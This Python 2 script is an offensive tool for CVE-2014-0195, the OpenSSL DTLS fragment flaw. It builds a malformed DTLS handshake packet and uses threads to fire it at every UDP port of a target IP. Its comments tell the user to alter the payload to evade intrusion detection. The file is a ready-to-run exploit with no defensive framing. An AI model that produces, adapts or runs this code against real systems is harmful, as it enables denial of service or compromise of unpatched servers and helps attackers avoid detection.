#!/usr/bin/python
# NMA's DTLS CVE-2014-0195 Shotgun Attack Tool 
# Launches attack against all udp ports. Modify payload to evade IDS. Takes ~3 seconds per IP. 
import socket, sys
from threading import Thread

payload_hex = "41" # hex for "A" - Modify to suit your needs. 

if len(sys.argv) <2:
    print "Usage: %s [ip]" % sys.argv[0]
    sys.exit()

evil_packet = ("16feff" + "0" * 18 + "20010000020" + "0" * 14 + "101001001" + "0" * 16 + payload_hex * 10).decode("hex")
ports = [ range(1,6553),range(6553,13106),range(13106,19659),range(19659,26212),range(26212,32765),
    	  range(32765,39318), range(39318,45871),range(45871,52424),range(52424,58977),range(58977,65535) ]

def launch_attack(hostname, port):
    global evil_packet
    udpsocket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    udpsocket.sendto(evil_packet, (hostname, int(port)))

def build_attack(i):
    global ports
    for port in ports[i]:
    	launch_attack(sys.argv[1], port)

if __name__ == "__main__":    				
    for i in range(10):
    	fire = Thread(target=build_attack, args=(i,))
    	fire.start()
